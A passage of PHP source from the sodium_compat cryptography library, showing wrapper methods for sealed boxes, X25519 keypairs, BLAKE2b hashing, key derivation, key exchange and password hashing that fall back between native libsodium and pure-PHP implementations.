if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_seal($plaintext, $publicKey);
}
if (self::use_fallback('crypto_box_seal')) {
return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey);
}
return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
}
/**
* Opens a message encrypted with crypto_box_seal(). Requires
* the recipient's keypair (sk || pk) to decrypt successfully.
*
* This validates ciphertext integrity.
*
* @param string $ciphertext Sealed message to be opened
* @param string $keypair Your crypto_box keypair
* @return string The original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_box_seal_open($ciphertext, $keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
/**
* @psalm-suppress InvalidReturnStatement
* @psalm-suppress FalsableReturnStatement
*/
return sodium_crypto_box_seal_open($ciphertext, $keypair);
}
if (self::use_fallback('crypto_box_seal_open')) {
return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair);
}
return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair);
}
/**
* Generate a new random X25519 keypair.
*
* @return string A 64-byte string; the first 32 are your secret key, while
* the last 32 are your public key. crypto_box_secretkey()
* and crypto_box_publickey() exist to separate them so you
* don't accidentally get them mixed up!
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box_keypair()
{
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_keypair();
}
if (self::use_fallback('crypto_box_keypair')) {
return (string) call_user_func('\\Sodium\\crypto_box_keypair');
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_keypair();
}
return ParagonIE_Sodium_Crypto::box_keypair();
}
/**
* Combine two keys into a keypair for use in library methods that expect
* a keypair. This doesn't necessarily have to be the same person's keys.
*
* @param string $secretKey Secret key
* @param string $publicKey Public key
* @return string Keypair
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
}
if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) {
return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
}
return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
}
/**
* Decrypt a message previously encrypted with crypto_box().
*
* @param string $ciphertext Encrypted message
* @param string $nonce Number to only be used Once; must be 24 bytes
* @param string $keypair Your secret key and the sender's public key
* @return string The original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_box_open($ciphertext, $nonce, $keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) {
throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
/**
* @psalm-suppress InvalidReturnStatement
* @psalm-suppress FalsableReturnStatement
*/
return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
}
if (self::use_fallback('crypto_box_open')) {
return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair);
}
return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair);
}
/**
* Extract the public key from a crypto_box keypair.
*
* @param string $keypair Keypair containing secret and public key
* @return string Your crypto_box public key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box_publickey($keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_publickey($keypair);
}
if (self::use_fallback('crypto_box_publickey')) {
return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
}
return ParagonIE_Sodium_Crypto::box_publickey($keypair);
}
/**
* Calculate the X25519 public key from a given X25519 secret key.
*
* @param string $secretKey Any X25519 secret key
* @return string The corresponding X25519 public key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box_publickey_from_secretkey($secretKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_publickey_from_secretkey($secretKey);
}
if (self::use_fallback('crypto_box_publickey_from_secretkey')) {
return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
}
return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
}
/**
* Extract the secret key from a crypto_box keypair.
*
* @param string $keypair
* @return string Your crypto_box secret key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box_secretkey($keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_secretkey($keypair);
}
if (self::use_fallback('crypto_box_secretkey')) {
return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
}
return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
}
/**
* Generate an X25519 keypair from a seed.
*
* @param string $seed
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress UndefinedFunction
*/
public static function crypto_box_seed_keypair($seed)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box_seed_keypair($seed);
}
if (self::use_fallback('crypto_box_seed_keypair')) {
return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
}
return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
}
/**
* Calculates a BLAKE2b hash, with an optional key.
*
* @param string $message The message to be hashed
* @param string|null $key If specified, must be a string between 16
* and 64 bytes long
* @param int $length Output length in bytes; must be between 16
* and 64 (default = 32)
* @return string Raw binary
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_generichash($message, $key = '', $length = self::CRYPTO_GENERICHASH_BYTES)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
if (is_null($key)) {
$key = '';
}
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3);
/* Input validation: */
if (!empty($key)) {
if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
}
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_generichash($message, $key, $length);
}
if (self::use_fallback('crypto_generichash')) {
return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length);
}
return ParagonIE_Sodium_Crypto::generichash($message, $key, $length);
}
/**
* Get the final BLAKE2b hash output for a given context.
*
* @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
* @param int $length Hash output size.
* @return string Final BLAKE2b hash.
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress ReferenceConstraintViolation
* @psalm-suppress ConflictingReferenceConstraint
*/
public static function crypto_generichash_final(&$ctx, $length = self::CRYPTO_GENERICHASH_BYTES)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
if (self::useNewSodiumAPI()) {
return sodium_crypto_generichash_final($ctx, $length);
}
if (self::use_fallback('crypto_generichash_final')) {
$func = '\\Sodium\\crypto_generichash_final';
return (string) $func($ctx, $length);
}
if ($length < 1) {
try {
self::memzero($ctx);
} catch (SodiumException $ex) {
unset($ctx);
}
return '';
}
if (PHP_INT_SIZE === 4) {
$result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length);
} else {
$result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length);
}
try {
self::memzero($ctx);
} catch (SodiumException $ex) {
unset($ctx);
}
return $result;
}
/**
* Initialize a BLAKE2b hashing context, for use in a streaming interface.
*
* @param string|null $key If specified must be a string between 16 and 64 bytes
* @param int $length The size of the desired hash output
* @return string A BLAKE2 hashing context, encoded as a string
* (To be 100% compatible with ext/libsodium)
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_generichash_init($key = '', $length = self::CRYPTO_GENERICHASH_BYTES)
{
/* Type checks: */
if (is_null($key)) {
$key = '';
}
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
/* Input validation: */
if (!empty($key)) {
if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
}
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_generichash_init($key, $length);
}
if (self::use_fallback('crypto_generichash_init')) {
return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::generichash_init($key, $length);
}
return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
}
/**
* Initialize a BLAKE2b hashing context, for use in a streaming interface.
*
* @param string|null $key If specified must be a string between 16 and 64 bytes
* @param int $length The size of the desired hash output
* @param string $salt Salt (up to 16 bytes)
* @param string $personal Personalization string (up to 16 bytes)
* @return string A BLAKE2 hashing context, encoded as a string
* (To be 100% compatible with ext/libsodium)
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_generichash_init_salt_personal(
$key = '',
$length = self::CRYPTO_GENERICHASH_BYTES,
$salt = '',
$personal = ''
) {
/* Type checks: */
if (is_null($key)) {
$key = '';
}
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4);
$salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT);
$personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT);
/* Input validation: */
if (!empty($key)) {
/*
if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
}
*/
if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
}
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal);
}
return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal);
}
/**
* Update a BLAKE2b hashing context with additional data.
*
* @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
* $ctx is passed by reference and gets updated in-place.
* @param-out string $ctx
* @param string $message The message to append to the existing hash state.
* @return void
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress ReferenceConstraintViolation
*/
public static function crypto_generichash_update(&$ctx, $message)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
if (self::useNewSodiumAPI()) {
sodium_crypto_generichash_update($ctx, $message);
return;
}
if (self::use_fallback('crypto_generichash_update')) {
$func = '\\Sodium\\crypto_generichash_update';
$func($ctx, $message);
return;
}
if (PHP_INT_SIZE === 4) {
$ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message);
} else {
$ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message);
}
}
/**
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_generichash_keygen()
{
return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
}
/**
* @param int $subkey_len
* @param int $subkey_id
* @param string $context
* @param string $key
* @return string
* @throws SodiumException
*/
public static function crypto_kdf_derive_from_key(
$subkey_len,
$subkey_id,
$context,
$key
) {
ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
$subkey_id = (int) $subkey_id;
$subkey_len = (int) $subkey_len;
$context = (string) $context;
$key = (string) $key;
if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) {
throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN');
}
if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) {
throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX');
}
if ($subkey_id < 0) {
throw new SodiumException('subkey_id cannot be negative');
}
if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) {
throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) {
throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes');
}
$salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
$state = self::crypto_generichash_init_salt_personal(
$key,
$subkey_len,
$salt,
$context
);
return self::crypto_generichash_final($state, $subkey_len);
}
/**
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_kdf_keygen()
{
return random_bytes(self::CRYPTO_KDF_KEYBYTES);
}
/**
* Perform a key exchange, between a designated client and a server.
*
* Typically, you would designate one machine to be the client and the
* other to be the server. The first two keys are what you'd expect for
* scalarmult() below, but the latter two public keys don't swap places.
*
* | ALICE | BOB |
* | Client | Server |
* |--------------------------------|-------------------------------------|
* | shared = crypto_kx( | shared = crypto_kx( |
* | alice_sk, | bob_sk, | <- contextual
* | bob_pk, | alice_pk, | <- contextual
* | alice_pk, | alice_pk, | <----- static
* | bob_pk | bob_pk | <----- static
* | ) | ) |
*
* They are used along with the scalarmult product to generate a 256-bit
* BLAKE2b hash unique to the client and server keys.
*
* @param string $my_secret
* @param string $their_public
* @param string $client_public
* @param string $server_public
* @param bool $dontFallback
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_kx($my_secret, $their_public, $client_public, $server_public, $dontFallback = false)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI() && !$dontFallback) {
if (is_callable('sodium_crypto_kx')) {
return (string) sodium_crypto_kx(
$my_secret,
$their_public,
$client_public,
$server_public
);
}
}
if (self::use_fallback('crypto_kx')) {
return (string) call_user_func(
'\\Sodium\\crypto_kx',
$my_secret,
$their_public,
$client_public,
$server_public
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::keyExchange(
$my_secret,
$their_public,
$client_public,
$server_public
);
}
return ParagonIE_Sodium_Crypto::keyExchange(
$my_secret,
$their_public,
$client_public,
$server_public
);
}
/**
* @param string $seed
* @return string
* @throws SodiumException
*/
public static function crypto_kx_seed_keypair($seed)
{
ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);
$seed = (string) $seed;
if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) {
throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes');
}
$sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES);
$pk = self::crypto_scalarmult_base($sk);
return $sk . $pk;
}
/**
* @return string
* @throws Exception
*/
public static function crypto_kx_keypair()
{
$sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
$pk = self::crypto_scalarmult_base($sk);
return $sk . $pk;
}
/**
* @param string $keypair
* @param string $serverPublicKey
* @return array{0: string, 1: string}
* @throws SodiumException
*/
public static function crypto_kx_client_session_keys($keypair, $serverPublicKey)
{
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2);
$keypair = (string) $keypair;
$serverPublicKey = (string) $serverPublicKey;
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
}
if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
}
$sk = self::crypto_kx_secretkey($keypair);
$pk = self::crypto_kx_publickey($keypair);
$h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey));
self::crypto_generichash_update($h, $pk);
self::crypto_generichash_update($h, $serverPublicKey);
$sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
return array(
ParagonIE_Sodium_Core_Util::substr(
$sessionKeys,
0,
self::CRYPTO_KX_SESSIONKEYBYTES
),
ParagonIE_Sodium_Core_Util::substr(
$sessionKeys,
self::CRYPTO_KX_SESSIONKEYBYTES,
self::CRYPTO_KX_SESSIONKEYBYTES
)
);
}
/**
* @param string $keypair
* @param string $clientPublicKey
* @return array{0: string, 1: string}
* @throws SodiumException
*/
public static function crypto_kx_server_session_keys($keypair, $clientPublicKey)
{
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2);
$keypair = (string) $keypair;
$clientPublicKey = (string) $clientPublicKey;
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
}
if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
}
$sk = self::crypto_kx_secretkey($keypair);
$pk = self::crypto_kx_publickey($keypair);
$h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey));
self::crypto_generichash_update($h, $clientPublicKey);
self::crypto_generichash_update($h, $pk);
$sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
return array(
ParagonIE_Sodium_Core_Util::substr(
$sessionKeys,
self::CRYPTO_KX_SESSIONKEYBYTES,
self::CRYPTO_KX_SESSIONKEYBYTES
),
ParagonIE_Sodium_Core_Util::substr(
$sessionKeys,
0,
self::CRYPTO_KX_SESSIONKEYBYTES
)
);
}
/**
* @param string $kp
* @return string
* @throws SodiumException
*/
public static function crypto_kx_secretkey($kp)
{
return ParagonIE_Sodium_Core_Util::substr(
$kp,
0,
self::CRYPTO_KX_SECRETKEYBYTES
);
}
/**
* @param string $kp
* @return string
* @throws SodiumException
*/
public static function crypto_kx_publickey($kp)
{
return ParagonIE_Sodium_Core_Util::substr(
$kp,
self::CRYPTO_KX_SECRETKEYBYTES,
self::CRYPTO_KX_PUBLICKEYBYTES
);
}
/**
* @param int $outlen
* @param string $passwd
* @param string $salt
* @param int $opslimit
* @param int $memlimit
* @param int|null $alg
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg = null)
{
ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);
if (self::useNewSodiumAPI()) {
if (!is_null($alg)) {
ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6);
return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg);
}
return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
}
if (self::use_fallback('crypto_pwhash')) {
return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit);
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
);
}
/**
* !Exclusive to sodium_compat!
*
* This returns TRUE if the native crypto_pwhash API is available by libsodium.
* This returns FALSE if only sodium_compat is available.
*
* @return bool
*/
public static function crypto_pwhash_is_available()
{
if (self::useNewSodiumAPI()) {
return true;
}
if (self::use_fallback('crypto_pwhash')) {
return true;
}
return false;
}
/**
* @param string $passwd
* @param int $opslimit
* @param int $memlimit
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_pwhash_str($passwd, $opslimit, $memlimit)
{
ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);
if (self::useNewSodiumAPI()) {
return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
}
if (self::use_fallback('crypto_pwhash_str')) {
return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit);
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
);
}
/**
* Do we need to rehash this password?
*
* @param string $hash
* @param int $opslimit
* @param int $memlimit
* @return bool
* @throws SodiumException
*/
public static function crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit)
{
ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);
// Just grab the first 4 pieces.
$pieces = explode('$', (string) $hash);
$prefix = implode('$', array_slice($pieces, 0, 4));
// Rebuild the expected header.
/** @var int $ops */
$ops = (int) $opslimit;
/** @var int $mem */
$mem = (int) $memlimit >> 10;
$encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1';
// Do they match? If so, we don't need to rehash, so return false.
return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
}
/**
* @param string $passwd
* @param string $hash
* @return bool
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_pwhash_str_verify($passwd, $hash)
{
ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);
if (self::useNewSodiumAPI()) {
return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
}
if (self::use_fallback('crypto_pwhash_str_verify')) {
return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash);
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
);
}
/**
* @param int $outlen
* @param string $passwd
* @param string $salt
* @param int $opslimit
* @param int $memlimit
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit)
{
ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
